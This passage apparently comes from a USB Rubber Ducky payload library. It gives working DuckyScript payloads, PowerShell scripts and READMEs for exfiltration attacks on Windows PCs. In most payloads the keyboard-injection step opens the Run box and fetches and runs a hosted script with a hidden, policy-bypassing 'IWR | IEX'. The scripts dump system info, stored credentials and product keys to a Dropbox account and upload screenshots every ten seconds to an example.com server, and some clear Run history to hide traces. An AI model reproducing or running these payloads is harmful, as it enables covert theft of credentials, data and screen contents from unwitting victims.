    "content": "REM Title:        Morse Code File Exfiltration\nREM Description:  Reads all txt files in myDocs and Flashes the Scrolllock on and off to represent morse code  \nREM Author:       Cribbit\nREM Version:      1.2\nREM Category:     Exfiltration\nREM Target:       Windows (Powershell 5.1+)\nREM Attackmodes:  HID & STORAGE\nREM Note:        For characters outside the Morse code 0..9 A..Z it now flash one long pulse then the chars ordinal value i.e. (@ = 64 = -.... ....-)\t\nATTACKMODE HID STORAGE\n\nEXTENSION PASSIVE_WINDOWS_DETECT\n    REM VERSION 1.0\n\n    REM Windows fully passive OS Detection and passive Detect Ready\n    REM Includes its own passive detect ready. Does not require\n    REM additional extensions\n\n    REM USAGE:\n    REM Extension runs inline (here)\n    REM Place at beginning of payload (besides ATTACKMODE) to act as dynamic\n    REM boot delay\n    REM $_OS will be set to WINDOWS or NOT_WINDOWS\n\n    REM CONFIGURATION:\n    DEFINE MAX_WAIT 150\n    DEFINE CHECK_INTERVAL 20\n    DEFINE WINDOWS_HOST_REQUEST_COUNT 2\n    DEFINE NOT_WINDOWS 7\n\n    VAR $MAX_TRIES = MAX_WAIT\n    WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))\n        DELAY CHECK_INTERVAL\n        $MAX_TRIES = ($MAX_TRIES - 1)\n    END_WHILE\n    IF ($_HOST_CONFIGURATION_REQUEST_COUNT > WINDOWS_HOST_REQUEST_COUNT) THEN\n        $_OS = WINDOWS\n    ELSE\n        $_OS = NOT_WINDOWS\n    END_IF\n\n    REM EXAMPLE USAGE AFTER EXTENSION\n    REM IF ($_OS == WINDOWS) THEN\n    REM     STRING HELLO WINDOWS!\n    REM ELSE\n    REM     STRING HELLO WORLD!\n    REM END_IF\nEND_EXTENSION\n\n\nIF ($_OS == WINDOWS)\n    LED_GREEN\n    REM Give explorer time to show \n    DELAY 2000\n    GUI r\n    DELAY 200\n    STRINGLN powershell .(powershell.exe -encodedCommand (gc((gwmi win32_volume -f 'label=''DUCKY''').Name+'\\b.txt')))\nELSE\n    LED_RED\nEND_IF\n\n"
  },
  {
    "path": "payloads/library/exfiltration/Win_PoSH_MorseCode/readme.md",
    "content": "# :flashlight: Morse Code File Exfiltration\r\n* Author: Cribbit \r\n* Version: 1.2\r\n* Target: Windows (Powershell 5.1+)\r\n* Category: Exfiltration\r\n* Attackmode: HID & Storage\r\n\r\n## :book: Description\r\nReads all txt files in \"my documents\" and flashes the scroll lock on and off to represent Morse code of the English alphanumeric characters (0..9 A..Z)\r\nFor characters outside the Morse code 0..9 A..Z it now flash one long pulse then the chars ordinal value i.e. (@ = 64 = -.... ....-)\r\n\r\n## :musical_note: Note\r\nThis is not a very useful payload with limitation of morse code but I thought it was fun to create.\r\n\r\nThe payload uses a base64 encode version of the payload (b.txt) to get round the Script Execution Policy. There is a non-base64 version in the file (MorseCodeFileExfiltration.ps1) so you can see what it is doing. \r\n\r\nPlease check the encoded payload before execution, to make sure it has not been replaced with something more malicious. \r\n\r\nIf you do not want to use the base64 version you could change the payload to:\r\n`RUN WIN \"powerShell -Noni -NoP -W h -EP Bypass .((gwmi win32_volume -f 'label=''DUCKY''').Name+'payloads\\\\$SWITCH_POSITION\\MorseCodeFileExfiltration.ps1')\"`\r\n\r\n\r\n## :page_facing_up: Change Log\r\n| Version | Changes                       |\r\n| ------- | ------------------------------|\r\n| 1.2     | Ported from BashBunny Repo    |\r\n"
  },
  {
    "path": "payloads/library/exfiltration/Windows-Privilege-Excalibur/README.md",
    "content": "## Windows Privilege Excalibur\n\n<p>\n    <a href=\"https://payloadstudio.hak5.org/community/?device=usb-rubber-ducky&viewurl=https://raw.githubusercontent.com/hak5/usbrubberducky-payloads/master/payloads/library/exfiltration/Windows-Privilege-Excalibur/payload.txt\">\n        <img alt=\"VIEW ON: HAK5 PAYLOADSTUDIO\" src=\"https://img.shields.io/badge/VIEW_ON-HAK5_PAYLOADSTUDIO-red?style=for-the-badge\">\n    </a>\n    <a href=\"#\">\n        <img alt=\"TARGET: WINDOWS 10, 11\" src=\"https://img.shields.io/badge/TARGET-WINDOWS_10,_11-blue?style=for-the-badge\">\n    </a>\n    <a href=\"#\">\n        <img alt=\"VERSION: 1.4\" src=\"https://img.shields.io/badge/VERSION-1.4-green?style=for-the-badge\">\n    </a>\n</p>\n\nThis payload sends you a brief user privilege escalation report via Dropbox. Once you have the report, you can perform further privilege escalation analysis, including using the following resources:\n\n|Report Category|Useful Resources|\n|-|-|\n|System Information|[WES-NG](https://github.com/bitsadmin/wesng)|\n|User Information|[Priv2Admin](https://github.com/gtworek/Priv2Admin)|\n|Stored Credentials||\n|Installed Programs|[Exploit Database](https://www.exploit-db.com/) & [Packet Storm](https://packetstormsecurity.com/)|\n\n## Process\n\n1. Detects when the USB Rubber Ducky is ready and whether the target operating system is Windows.\n2. Opens a Windows Run dialog box.\n3. Executes a hosted PowerShell script that performs the following actions:\n- Clears the history of the Windows Run menu.\n- Prepares a report on target PC user privilege escalation.\n- Sends the report to a file in your Dropbox.\n\n## Prerequisites\n\nFirst of all, you need to set up an appropriate Dropbox exfiltration \"App\" to obtain your \"app key\", \"app secret\" and \"refresh token\", which you can do by following the quick tutorial available [here](https://codeberg.org/PlumpyTurkey/Ducky-Utilities/src/branch/main/PowerShell-Functions/Send-ToDropbox). Once you get them, you need to download the \"script.ps1\" file for this payload and edit it to add the values for your \"App\". Once you've done that, all you need to do is host the modified file and make it downloadable from a URL that you set as an option for this payload.\n\n> [!WARNING]\n> If you're using Dropbox to host your script, make sure the download link for your script ends with \"dl=1\" and not \"dl=0\".\n\n## Options\n\n|Required extension options|Extension|Data type|Default value|Description|\n|-|-|-|-|-|\n|RHP_SCRIPT_URL|Run Hosted PowerShell|String|example.com|Your PowerShell script download link|\n\n## Contributors\n\n- [PlumpyTurkey](https://codeberg.org/PlumpyTurkey)\n"
  },
  {
    "path": "payloads/library/exfiltration/Windows-Privilege-Excalibur/payload.txt",
    "content": "REM_BLOCK DOCUMENTATION\n    Title: Windows Privilege Excalibur\n    Author: PlumpyTurkey\n    Description: This payload sends you a brief user privilege escalation report via Dropbox.\n    Target: Windows 10, 11\n    Version: 1.4\n    Category: Exfiltration\nEND_REM\n\nEXTENSION RUN_HOSTED_POWERSHELL\n    REM_BLOCK DOCUMENTATION\n        Title: Run Hosted PowerShell\n        Author: PlumpyTurkey\n        Description: This extension allows you to run a hosted PowerShell script using the Windows Run dialog box.\n        Target: Windows 10, 11\n        Version: 1.1\n    END_REM\n\n    REM Required options:\n    DEFINE #RHP_SCRIPT_URL example.com\n\n    REM Advanced options:\n    DEFINE #RHP_DELAY 2000\n    DEFINE #RHP_ELEVATED_EXECUTION FALSE\n    DEFINE #RHP_DISABLE_AFTER_EXECUTION FALSE\n\n    FUNCTION RHP_RUN()\n        GUI r\n\n        DELAY #RHP_DELAY\n        STRING PowerShell -W H -EX Bypass \"IWR -UseB '#RHP_SCRIPT_URL' | IEX\"\n\n        IF_DEFINED_TRUE #RHP_ELEVATED_EXECUTION\n            CTRL SHIFT ENTER\n            DELAY #RHP_DELAY\n            LEFT\n        END_IF_DEFINED\n\n        ENTER\n\n        IF_DEFINED_TRUE #RHP_DISABLE_AFTER_EXECUTION\n            ATTACKMODE OFF\n        END_IF_DEFINED\n    END_FUNCTION\nEND_EXTENSION\n\nEXTENSION PASSIVE_WINDOWS_DETECT\n    REM VERSION 1.1\n    REM AUTHOR: Korben\n\n    REM_BLOCK DOCUMENTATION\n        Windows fully passive OS Detection and passive Detect Ready\n        Includes its own passive detect ready.\n        Does not require additional extensions.\n\n        USAGE:\n            Extension runs inline (here)\n            Place at beginning of payload (besides ATTACKMODE) to act as dynamic\n            boot delay\n            $_OS will be set to WINDOWS or NOT_WINDOWS\n            See end of payload for usage within payload\n    END_REM\n\n    REM CONFIGURATION:\n    DEFINE #MAX_WAIT 150\n    DEFINE #CHECK_INTERVAL 20\n    DEFINE #WINDOWS_HOST_REQUEST_COUNT 2\n    DEFINE #NOT_WINDOWS 7\n\n    $_OS = #NOT_WINDOWS\n\n    VAR $MAX_TRIES = #MAX_WAIT\n    WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))\n        DELAY #CHECK_INTERVAL\n        $MAX_TRIES = ($MAX_TRIES - 1)\n    END_WHILE\n    IF ($_HOST_CONFIGURATION_REQUEST_COUNT > #WINDOWS_HOST_REQUEST_COUNT) THEN\n        $_OS = WINDOWS\n    END_IF\n\n    REM_BLOCK EXAMPLE USAGE AFTER EXTENSION\n        IF ($_OS == WINDOWS) THEN\n            STRING HELLO WINDOWS!\n        ELSE\n            STRING HELLO WORLD!\n        END_IF\n    END_REM\nEND_EXTENSION\n\nEXTENSION WINDOWS_ONLY \n    REM VERSION 1.0\n    REM AUTHOR: Korben\n\n    DEFINE #FAILURE_LED TRUE\n    DEFINE #FAILURE_LED_MODE LED_R\n    DEFINE #FAILURE_ATTACKMODE ATTACKMODE OFF\n\n    IF (($_OS == WINDOWS) == FALSE) THEN\n        IF_DEFINED_TRUE #FAILURE_LED\n            #FAILURE_LED_MODE\n            DELAY 500\n            #FAILURE_LED_MODE\n            DELAY 500\n            #FAILURE_LED_MODE\n        END_IF_DEFINED\n        #FAILURE_ATTACKMODE\n        STOP_PAYLOAD\n    END_IF\nEND_EXTENSION\n\nRHP_RUN()\n"
  },
  {
    "path": "payloads/library/exfiltration/Windows-Privilege-Excalibur/script.ps1",
    "content": "$REFRESH_TOKEN = \"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\"\n$APP_KEY = \"XXXXXXXXXXXXXXX\"\n$APP_SECRET = \"XXXXXXXXXXXXXXX\"\n\nfunction Send-ToDropbox {\n    [CmdletBinding()]\n    param(\n        [Parameter(Mandatory = $true)]\n        [string]$Content,\n        [Parameter(Mandatory = $true)]\n        [string]$RefreshToken,\n        [Parameter(Mandatory = $true)]\n        [string]$AppKey,\n        [Parameter(Mandatory = $true)]\n        [string]$AppSecret,\n        [string]$OutputFolder = \"Exfiltrated-content\",\n        [string]$OutputFile = \"[${env:COMPUTERNAME}-${env:USERNAME}].txt\"\n    )\n\n    try {\n        Invoke-RestMethod -Uri \"https://content.dropboxapi.com/2/files/upload\" -Method Post -Headers @{\n            \"Authorization\" = \"Bearer $((\n            Invoke-RestMethod -Uri \"https://api.dropboxapi.com/oauth2/token\" -Method Post -Headers @{\n                \"Content-Type\" = \"application/x-www-form-urlencoded\"\n            } -Body @{\n                \"grant_type\" = \"refresh_token\";\n                \"refresh_token\" = $RefreshToken;\n                \"client_id\" = $AppKey;\n                \"client_secret\" = $AppSecret\n            }\n        ).access_token)\";\n            \"Content-Type\" = \"application/octet-stream\";\n            \"Dropbox-API-Arg\" = \"{\"\"path\"\":\"\"/$OutputFolder/$OutputFile\"\",\"\"mode\"\":\"\"add\"\",\"\"autorename\"\":true,\"\"mute\"\":false}\"\n        } -Body $Content | Out-Null\n    }\n    catch {\n        Write-Host \"An error occurred: $_\"\n    }\n}\n\n\nRemove-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU\" -Name \"*\" -Force\n\n$Report = \"*** System Information ***`n $(SYSTEMINFO | Out-String)`n\"\n$Report += \"*** User Information ***`n $(WHOAMI /ALL | Out-String)`n\"\n$Report += \"*** Stored Credentials ***`n $(CMDKEY /LIST | Out-String)`n\"\n$Report += \"*** Installed Programs ***`n $(Get-ItemProperty 'HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*' | Select-Object DisplayName, DisplayVersion, Publisher | Out-String)\"\n\nSend-ToDropbox -Content $Report -RefreshToken $REFRESH_TOKEN -AppKey $APP_KEY -AppSecret $APP_SECRET\n"
  },
  {
    "path": "payloads/library/exfiltration/Windows-Product-Key-Grabber/README.md",
    "content": "# Windows Product Key Grabber\n\n<p>\n    <a href=\"https://payloadstudio.hak5.org/community/?device=usb-rubber-ducky&viewurl=https://raw.githubusercontent.com/hak5/usbrubberducky-payloads/master/payloads/library/exfiltration/Windows-Product-Key-Grabber/payload.txt\">\n        <img alt=\"VIEW ON: HAK5 PAYLOADSTUDIO\" src=\"https://img.shields.io/badge/VIEW_ON-HAK5_PAYLOADSTUDIO-red?style=for-the-badge\">\n    </a>\n    <a href=\"#\">\n        <img alt=\"TARGET: WINDOWS 10, 11\" src=\"https://img.shields.io/badge/TARGET-WINDOWS_10,_11-blue?style=for-the-badge\">\n    </a>\n    <a href=\"#\">\n        <img alt=\"VERSION: 1.2\" src=\"https://img.shields.io/badge/VERSION-1.2-green?style=for-the-badge\">\n    </a>\n</p>\n\nThis payload sends you the target PC's Windows product key via Dropbox.\n\n## Process\n\n1. Detects when the USB Rubber Ducky is ready and whether the target operating system is Windows.\n2. Opens a Windows Run dialog box.\n3. Executes a hosted PowerShell script that performs the following actions:\n- Clears the history of the Windows Run menu.\n- Recovers Windows product key from target PC.\n- Sends the Windows product key of the target PC to a file in your Dropbox.\n\n## Prerequisites\n\nFirst of all, you need to set up an appropriate Dropbox exfiltration \"App\" to obtain your \"app key\", \"app secret\" and \"refresh token\", which you can do by following the quick tutorial available [here](https://codeberg.org/PlumpyTurkey/Ducky-Utilities/src/branch/main/PowerShell-Functions/Send-ToDropbox). Once you get them, you need to download the \"script.ps1\" file for this payload and edit it to add the values for your \"App\". Once you've done that, all you need to do is host the modified file and make it downloadable from a URL that you set as an option for this payload.\n\n> [!WARNING]\n> If you're using Dropbox to host your script, make sure the download link for your script ends with \"dl=1\" and not \"dl=0\".\n\n## Options\n\n|Required extension options|Extension|Data type|Default value|Description|\n|-|-|-|-|-|\n|RHP_SCRIPT_URL|Run Hosted PowerShell|String|example.com|Your PowerShell script download link|\n\n## Contributors\n\n- [PlumpyTurkey](https://codeberg.org/PlumpyTurkey)\n"
  },
  {
    "path": "payloads/library/exfiltration/Windows-Product-Key-Grabber/payload.txt",
    "content": "REM_BLOCK DOCUMENTATION\n    Title: Windows Product Key Grabber\n    Author: PlumpyTurkey\n    Description: This payload sends you the target PC's Windows product key via Dropbox.\n    Target: Windows 10, 11\n    Version: 1.2\n    Category: Exfiltration\nEND_REM\n\nEXTENSION RUN_HOSTED_POWERSHELL\n    REM_BLOCK DOCUMENTATION\n        Title: Run Hosted PowerShell\n        Author: PlumpyTurkey\n        Description: This extension allows you to run a hosted PowerShell script using the Windows Run dialog box.\n        Target: Windows 10, 11\n        Version: 1.1\n    END_REM\n\n    REM Required options:\n    DEFINE #RHP_SCRIPT_URL example.com\n\n    REM Advanced options:\n    DEFINE #RHP_DELAY 2000\n    DEFINE #RHP_ELEVATED_EXECUTION FALSE\n    DEFINE #RHP_DISABLE_AFTER_EXECUTION FALSE\n\n    FUNCTION RHP_RUN()\n        GUI r\n\n        DELAY #RHP_DELAY\n        STRING PowerShell -W H -EX Bypass \"IWR -UseB '#RHP_SCRIPT_URL' | IEX\"\n\n        IF_DEFINED_TRUE #RHP_ELEVATED_EXECUTION\n            CTRL SHIFT ENTER\n            DELAY #RHP_DELAY\n            LEFT\n        END_IF_DEFINED\n\n        ENTER\n\n        IF_DEFINED_TRUE #RHP_DISABLE_AFTER_EXECUTION\n            ATTACKMODE OFF\n        END_IF_DEFINED\n    END_FUNCTION\nEND_EXTENSION\n\nEXTENSION PASSIVE_WINDOWS_DETECT\n    REM VERSION 1.1\n    REM AUTHOR: Korben\n\n    REM_BLOCK DOCUMENTATION\n        Windows fully passive OS Detection and passive Detect Ready\n        Includes its own passive detect ready.\n        Does not require additional extensions.\n\n        USAGE:\n            Extension runs inline (here)\n            Place at beginning of payload (besides ATTACKMODE) to act as dynamic\n            boot delay\n            $_OS will be set to WINDOWS or NOT_WINDOWS\n            See end of payload for usage within payload\n    END_REM\n\n    REM CONFIGURATION:\n    DEFINE #MAX_WAIT 150\n    DEFINE #CHECK_INTERVAL 20\n    DEFINE #WINDOWS_HOST_REQUEST_COUNT 2\n    DEFINE #NOT_WINDOWS 7\n\n    $_OS = #NOT_WINDOWS\n\n    VAR $MAX_TRIES = #MAX_WAIT\n    WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))\n        DELAY #CHECK_INTERVAL\n        $MAX_TRIES = ($MAX_TRIES - 1)\n    END_WHILE\n    IF ($_HOST_CONFIGURATION_REQUEST_COUNT > #WINDOWS_HOST_REQUEST_COUNT) THEN\n        $_OS = WINDOWS\n    END_IF\n\n    REM_BLOCK EXAMPLE USAGE AFTER EXTENSION\n        IF ($_OS == WINDOWS) THEN\n            STRING HELLO WINDOWS!\n        ELSE\n            STRING HELLO WORLD!\n        END_IF\n    END_REM\nEND_EXTENSION\n\nEXTENSION WINDOWS_ONLY \n    REM VERSION 1.0\n    REM AUTHOR: Korben\n\n    DEFINE #FAILURE_LED TRUE\n    DEFINE #FAILURE_LED_MODE LED_R\n    DEFINE #FAILURE_ATTACKMODE ATTACKMODE OFF\n\n    IF (($_OS == WINDOWS) == FALSE) THEN\n        IF_DEFINED_TRUE #FAILURE_LED\n            #FAILURE_LED_MODE\n            DELAY 500\n            #FAILURE_LED_MODE\n            DELAY 500\n            #FAILURE_LED_MODE\n        END_IF_DEFINED\n        #FAILURE_ATTACKMODE\n        STOP_PAYLOAD\n    END_IF\nEND_EXTENSION\n\nRHP_RUN()\n"
  },
  {
    "path": "payloads/library/exfiltration/Windows-Product-Key-Grabber/script.ps1",
    "content": "$REFRESH_TOKEN = \"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\"\n$APP_KEY = \"XXXXXXXXXXXXXXX\"\n$APP_SECRET = \"XXXXXXXXXXXXXXX\"\n\nfunction Send-ToDropbox {\n    [CmdletBinding()]\n    param(\n        [Parameter(Mandatory = $true)]\n        [string]$Content,\n        [Parameter(Mandatory = $true)]\n        [string]$RefreshToken,\n        [Parameter(Mandatory = $true)]\n        [string]$AppKey,\n        [Parameter(Mandatory = $true)]\n        [string]$AppSecret,\n        [string]$OutputFolder = \"Exfiltrated-content\",\n        [string]$OutputFile = \"[${env:COMPUTERNAME}-${env:USERNAME}].txt\"\n    )\n\n    try {\n        Invoke-RestMethod -Uri \"https://content.dropboxapi.com/2/files/upload\" -Method Post -Headers @{\n            \"Authorization\" = \"Bearer $((\n            Invoke-RestMethod -Uri \"https://api.dropboxapi.com/oauth2/token\" -Method Post -Headers @{\n                \"Content-Type\" = \"application/x-www-form-urlencoded\"\n            } -Body @{\n                \"grant_type\" = \"refresh_token\";\n                \"refresh_token\" = $RefreshToken;\n                \"client_id\" = $AppKey;\n                \"client_secret\" = $AppSecret\n            }\n        ).access_token)\";\n            \"Content-Type\" = \"application/octet-stream\";\n            \"Dropbox-API-Arg\" = \"{\"\"path\"\":\"\"/$OutputFolder/$OutputFile\"\",\"\"mode\"\":\"\"add\"\",\"\"autorename\"\":true,\"\"mute\"\":false}\"\n        } -Body $Content | Out-Null\n    }\n    catch {\n        Write-Host \"An error occurred: $_\"\n    }\n}\n\n\nRemove-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU\" -Name \"*\" -Force\n\n$ProductKey = \"Original Product Key: $((Get-WmiObject -Query 'select * from SoftwareLicensingService').OA3xOriginalProductKey | Out-String)`n\"\n$ProductKey += \"Backup Product Key: $((Get-ItemProperty -Path 'HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SoftwareProtectionPlatform').BackupProductKeyDefault | Out-String)\"\n\nSend-ToDropbox -Content $ProductKey -RefreshToken $REFRESH_TOKEN -AppKey $APP_KEY -AppSecret $APP_SECRET\n"
  },
  {
    "path": "payloads/library/exfiltration/Windows-Screenshot-Exfil/README.md",
    "content": "# Windows Screenshot Exfiltration Payload\n\n## Overview\n\nThis payload captures screenshots from a Windows machine every 10 seconds and uploads them to a specified server using the Powershell. The payload is designed to run until the window is closed or the loop is broken out.\n\n## Features\n\n- **Target OS**: Windows 10, 11\n- **Exfiltration Method**: Screenshots are taken and uploaded to a server every 10 seconds.\n- **Detection and Execution**: Automatically detects if the target OS is Windows and executes the payload accordingly.\n- **HID Emulation**: Emulates a Lenovo keyboard with a random serial number.\n- **Fallback**: If the OS is not Windows, the USB Rubber Ducky will function as a storage device.\n\n## Files\n\n- `payload.txt`: The main script that is deployed to the USB Rubber Ducky.\n- `script.ps1`: The Staged PowerShell script that takes screenshots and uploads them to the server.\n\n## Setup Instructions\n\n1. **Server Setup**: Set up a server to receive the uploaded screenshots and host the script.ps1 file. I used [IngoKl/HTTPUploadExfil](https://github.com/IngoKl/HTTPUploadExfil) as it is pretty easy to set up.\n2. **Update URLS**: Modify `script.ps1` to include your server URL where the screenshots will be uploaded and modify `payload.txt` to reference the URL of the hosted `script.ps1`\n    - `$url` in `script.ps1`\n    - `#MY_STAGED_SCRIPT` in `payload.txt`\n3. **Upload Files**:\n   - Inject `payload.txt` on the USB Rubber Ducky.\n   - Host `script.ps1` on a web server.\n\nNote: In the provided files, the exanple URLs are followed by `/l` in the payload and by `/p` for the sending of screenshots, this is because I use HTTPUploadExfil, modify this is you do not use the same exfil server as I do.\n\n## Usage\n\n### Payload Execution\n\n1. **Insert USB Rubber Ducky**: Plug the USB Rubber Ducky into the target machine.\n2. **OS Detection**: The payload automatically detects if the target OS is Windows.\n3. **Payload Deployment**:\n   - If Windows is detected, it emulates a Lenovo keyboard, opens PowerShell, and runs the PowerShell script.\n   - If the target OS is not Windows, it switches to storage mode (Usefull for dev purposes).\n\n### PowerShell Script Execution\n\nThe PowerShell script (`script.ps1`) runs the following commands:\n\n1. Takes a screenshot every 10 seconds.\n2. Uploads the screenshot to the specified server.\n3. Repeats until the PowerShell window is closed.\n\n\n## Alternative\n\nSome EDR detect the download of a powershell script from internet, this clould led to the payload beeing blocked. As an alternative, you could take the content of `script.ps1` and put in directly in the payload.\n\n```\nGUI r\nDELAY 500\nSTRINGLN powershell\nDELAY 500\nSTRINGLN\n    [... The content of script.ps1 here ...]\nEND_STRINGLN\nENTER\nDELAY 500\nALT SPACE\nSTRING n\n```"
  },
  {
    "path": "payloads/library/exfiltration/Windows-Screenshot-Exfil/payload.txt",
    "content": "REM_BLOCK DOCUMENTATION\n    Title: Windows Screenshot Exfiltration\n    Author: https://github.com/thomasboegl1\n    Description: This payload sends you screenshots of the screen every 10sec until the Powershell window is closed.\n    Target: Windows 10, 11\n    Version: 1.0\n    Category: Exfiltration\nEND_REM\n\nEXTENSION PASSIVE_WINDOWS_DETECT\n    REM VERSION 1.1\n    REM AUTHOR: Korben\n\n    REM_BLOCK DOCUMENTATION\n        Windows fully passive OS Detection and passive Detect Ready\n        Includes its own passive detect ready.\n        Does not require additional extensions.\n\n        USAGE:\n            Extension runs inline (here)\n            Place at beginning of payload (besides ATTACKMODE) to act as dynamic\n            boot delay\n            $_OS will be set to WINDOWS or NOT_WINDOWS\n            See end of payload for usage within payload\n    END_REM\n\n    REM CONFIGURATION:\n    DEFINE #MAX_WAIT 150\n    DEFINE #CHECK_INTERVAL 20\n    DEFINE #WINDOWS_HOST_REQUEST_COUNT 2\n    DEFINE #NOT_WINDOWS 7\n\n    $_OS = #NOT_WINDOWS\n\n    VAR $MAX_TRIES = #MAX_WAIT\n    WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))\n        DELAY #CHECK_INTERVAL\n        $MAX_TRIES = ($MAX_TRIES - 1)\n    END_WHILE\n    IF ($_HOST_CONFIGURATION_REQUEST_COUNT > #WINDOWS_HOST_REQUEST_COUNT) THEN\n        $_OS = WINDOWS\n    END_IF\n\n    REM_BLOCK EXAMPLE USAGE AFTER EXTENSION\n        IF ($_OS == WINDOWS) THEN\n            STRING HELLO WINDOWS!\n        ELSE\n            STRING HELLO WORLD!\n        END_IF\n    END_REM\nEND_EXTENSION\n\nREM REQUIRED - Provide URL used for staged payload\nDEFINE #MY_STAGED_SCRIPT https://example.com/l/script.ps1\n\nIF ($_OS == WINDOWS) THEN\n    REM Emulate Lenovo keyboard with random serial\n    ATTACKMODE HID VID_17EF PID_609B MAN_Lenovo PROD_Duck SERIAL_RANDOM\n    REM Open the Run dialog\n    GUI r\n    DELAY 500\n    REM Type PowerShell command\n    STRINGLN powershell w- h -NoP -NonI -Exec Bypass $pl = iwr #MY_STAGED_SCRIPT; invoke-expression $pl\nELSE\n    REM The USB Rubber Ducky will function as a flash drive\n    ATTACKMODE STORAGE\nEND_IF\n"
  },
  {
    "path": "payloads/library/exfiltration/Windows-Screenshot-Exfil/script.ps1",
    "content": "Add-Type @'\nusing System;\nusing System.Runtime.InteropServices;\nusing System.Drawing;\n\npublic class DPI {\n  [DllImport(\"gdi32.dll\")]\n  static extern int GetDeviceCaps(IntPtr hdc, int nIndex);\n\n  public enum DeviceCap {\n  VERTRES = 10,\n  DESKTOPVERTRES = 117\n  }\n\n  public static float scaling() {\n  Graphics g = Graphics.FromHwnd(IntPtr.Zero);\n  IntPtr desktop = g.GetHdc();\n  int LogicalScreenHeight = GetDeviceCaps(desktop, (int)DeviceCap.VERTRES);\n  int PhysicalScreenHeight = GetDeviceCaps(desktop, (int)DeviceCap.DESKTOPVERTRES);\n\n  return (float)PhysicalScreenHeight / (float)LogicalScreenHeight;\n  }\n}\n'@ -ReferencedAssemblies 'System.Drawing.dll' -ErrorAction Stop\n\n$url = \"https://example.com/p\"\n\n\nwhile ($true) {\n    # Add necessary types\n    Add-Type -AssemblyName System.Windows.Forms,System.Drawing\n\n    # Get virtual screen information\n    $s = [System.Windows.Forms.SystemInformation]::VirtualScreen\n\n    # Create a bitmap of the virtual screen size\n    $b = New-Object System.Drawing.Bitmap ([int32]([math]::round($($s.Width * [DPI]::scaling()), 0))),([int32]([math]::round($($s.Height * [DPI]::scaling()), 0)));\n    [System.Drawing.Graphics]::FromImage($b).CopyFromScreen($s.Left, $s.Top, 0, 0, $b.Size)\n\n    # Save bitmap to a memory stream in PNG format\n    $m = New-Object System.IO.MemoryStream\n    $b.Save($m, [System.Drawing.Imaging.ImageFormat]::Png)\n    $f = $m.ToArray()\n\n    # Set up the multipart form-data\n    $boundary = \"----WebKitFormBoundary7MA4YWxkTrZu0gW\"\n    $fileName = \"$env:COMPUTERNAME-$(Get-Date -Format HHmmss).png\"\n    $body = @\"\n--$boundary\nContent-Disposition: form-data; name=\"file\"; filename=\"$fileName\"\nContent-Type: image/png\n\n$f\n--$boundary--\n\"@\n    # Convert the body to byte array\n    $bB = [System.Text.Encoding]::UTF8.GetBytes($body)\n\n    # Set the headers\n    $headers = @{\n        \"Content-Type\" = \"multipart/form-data; boundary=$boundary\"\n    }\n\n    # Send the HTTP request\n    Invoke-WebRequest -Uri $url -Method Post -Headers $headers -Body $bB\n\n    # Wait for 10 seconds before the next iteration\n    Start-Sleep -Seconds 10\n}"
  },
  {
    "path": "payloads/library/exfiltration/Windows-netstat/README.md",
    "content": "# Windows netstat ✅\n\nA script used to stole target netstat status.\n\n**Category**: Net, Exfiltration\n\n## Description\n\nThis script will stole target netstat status.\n\nOpens PowerShell hidden, grabs netstat status, saves as a cleartext in a variable and exfiltrates info via Discord Webhook.\n\nThen it cleans up traces of what you have done after.\n\n## Getting Started\n\n### Dependencies\n\n* An internet connection\n* Windows 10,11\n\n### Executing program\n\n* Plug in your device\n* Invoke the indicated commands \n* Invoke-WebRequest will be entered in the Run Box to send the content\n\n### Settings\nPut 1 on the function that you want to active, else 0.\nFunctions available:\n- default (*or simple 'netstat' command*)\n- routing_table **$r**\n- listening_canonical **$lc**\n- listening_numerical **$ln**\n- all_canonical **$ac**\n- all_numerical **$an**\n- offload **ot**\n- proto **$p \"\\<protocol>\"**\n    - *In this option you must put the protocol that you want to monitor, for example $proto=\"TCP\" if you want to monitor TCP, else leave blank, so $proto=\"\".*\n\n## Credits\n\n<h2 align=\"center\"> Aleff :octocat: </h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://github.com/aleff-github\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Github\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.linkedin.com/in/alessandro-greco-aka-aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Linkedin\n    </td>\n  </tr>\n</table>\n</div>"
  },
  {
    "path": "payloads/library/exfiltration/Windows-netstat/Windows-netstat.ps1",
